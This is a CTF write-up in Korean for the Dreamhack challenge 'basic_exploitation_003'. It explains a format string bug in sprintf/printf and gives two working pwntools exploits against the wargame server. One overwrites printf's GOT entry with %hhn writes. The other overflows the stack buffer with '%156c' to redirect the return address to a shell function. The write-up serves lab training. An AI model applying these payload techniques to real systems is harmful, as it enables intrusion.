dreamhack - basic_exploitation_003 writeup
[dreamhack] basic_exploitation_003 writeup
1. 문제

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이_1
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
heap_buf
변수에 0x80
만큼 할당하고, stack_buf
에는 0x90
만큼 할당한 후, heap_buf
에 0x80
만큼 읽고 이를 다시 stack_buf
에 써서 그대로 출력하는 내용이다.
목표는 main
함수에서 정상적이라면 실행되지 않는 get_shell
함수를 실행시켜서 flag
를 출력하는 것이 되겠다.
여기서 printf
함수를 실행시킬때 %s
서식지정자를 통해 stack_buf
에 있는 값을 그대로 출력시키기 때문에 Format String Bug가 발생한다. 즉, 사용자 입력을 검증없이 그대로 출력하기 때문에 발생하는 취약점이다.
예를 들어, 이 바이너리를 실행하고 aaaa%p%p%p%p
이렇게 입력을 주면 아래와 같은 출력을 볼 수 있다.
첫 aaaa
가 0x61616161
의 형태로 바로 뒤에 붙는 것을 볼 수 있다.
FSB 취약점을 확인했다면 우리가 사용할 수 있는 서식지정자는 %n
, %hn
, %hhn
등이 있다.
%n
, %hn
, %hhn
서식지정자는 각 서식지정자 전까지 출력된 문자의 개수를 지정된 변수에 10진수 형식으로 쓴다.
단, %n
은 4-byte 변수에 쓰고, %hn
은 2-byte, %hhn
은 1byte에 쓰는 차이점이 있다.
예를 들어 아래와 같다.
int count;
printf("Hello, world!%n", &count);
printf("%d\n", count); // 출력: 13 (즉, "Hello, world!"의 길이)
그런데 위와 같이 특정 변수(count)가 정해져있는 것이 아니라면, 바로 다음 인자를 포인터로 해석해서 그 주소에 %n
등의 서식지정자로 얻은 값을 쓴다. 즉, %n
서식지정자를 사용하기 바로 앞 인자가 갖고 있는 값을 주소로 해석하는 것이다.
그러면 여기서 우리는 무엇을 덮어야하냐면 printf
함수의 GOT
주소를 덮을 것이다. GOT
에 대한 자세한 설명은 아래 게시글에서 하고 넘어가겠다.

System Hacking - GOT and PLT
https://jjblog.duckdns.org/system%20hacking/2025/05/23/GOT-and-PLT.html위 코드에서 printf
의 GOT
주소를 get_shell
함수의 주소로 덮으면 해당 함수를 실행할 수 있다.
먼저 get_shell
과 printf
의 GOT
주소를 확인해보자.
get_shell
의 주소는 0x8048669
이고, printf@got
는 0x804a010
임을 알 수 있다. 따라서 상위주소는 0x804
로 같고, 하위 주소 2바이트만 덮어씌우면 된다.
이번 payload에서는 서식지정자 중 %hhn
을 사용하려고 한다.
그리고 앞에서 aaaa %p %p...
를 입력했을때 바로 다음 %p
에서 aaaa
가 출력되었기 때문에, payload는 아래와 같이 구성한다.
payload = p32(printf_got)
payload += p32(printf_got + 1)
payload += f'%97c%1$hhn'.encode() # 0x69 - 8 (p32 주소 2개해서 8바이트) = 97
payload += f'%29c%2$hhn'.encode() # 0x86 - 0x69 = 29
0x8669
를 덮어씌워야하고, 주소는 리틀엔디언으로 들어가있기 때문에 0x69
먼저, 그다음에 0x86
을 수행한다.
세부 계산 내용은 위 코드에서 볼 수 있다.
그래서 이를 이용한 exploit을 작성하면 아래와 같다.
from pwn import *
#p = process("./basic_exploitation_003")
p = remote("host3.dreamhack.games", 11005)
e = ELF("./basic_exploitation_003")
# Init
printf_got = e.got['printf']
get_shell_low = 0x8669
get_shell_high = 0x0804
get_shell = e.symbols['get_shell']
payload = p32(printf_got)
payload += p32(printf_got + 1)
payload += f'%97c%1$hhn'.encode() # 0x69 - 8 (p32 주소 2개해서 8바이트) = 97
payload += f'%29c%2$hhn'.encode() # 0x86 - 0x69 = 29
p.send(payload)
p.interactive()
이유는 모르겠지만 %hn
으로 덮으려고 했는데 안됐다…
3. 풀이_2
이 문제에는 위 풀이 말고도 다른 풀이가 존재한다.
바로 sprintf
함수의 FSB 취약점을 이용한 것으로, 위 풀이에서 서식지정자가 문제가 된 것처럼 sprintf
에서도 똑같이 발생할 수 있다.
즉, heap_buf
에서 stack_buf
로 출력할 때 %1000c
가 담겨있으면 stack_buf
에 1000-byte를 입력할 수 있는 것이다.
gdb
를 통해 보면 stack_buf
는 [ebp-0x98]
로, 152바이트 떨어져있으므로, SFP까지 4바이트를 포함해서 156바이트 더미를 덮고, 그 뒤에 있는 리턴 주소에 get_shell
의 주소를 덮으면 해결이 된다.
따라서 두번째 풀이는 아래와 같다.
from pwn import *
#p = process("./basic_exploitation_003")
p = remote("host3.dreamhack.games", 11005)
e = ELF("./basic_exploitation_003")
get_shell = e.symbols['get_shell']
payload = b'%156c' # dummy 152 + sfp 4
payload += p32(get_shell)
p.send(payload)
p.interactive()
해결~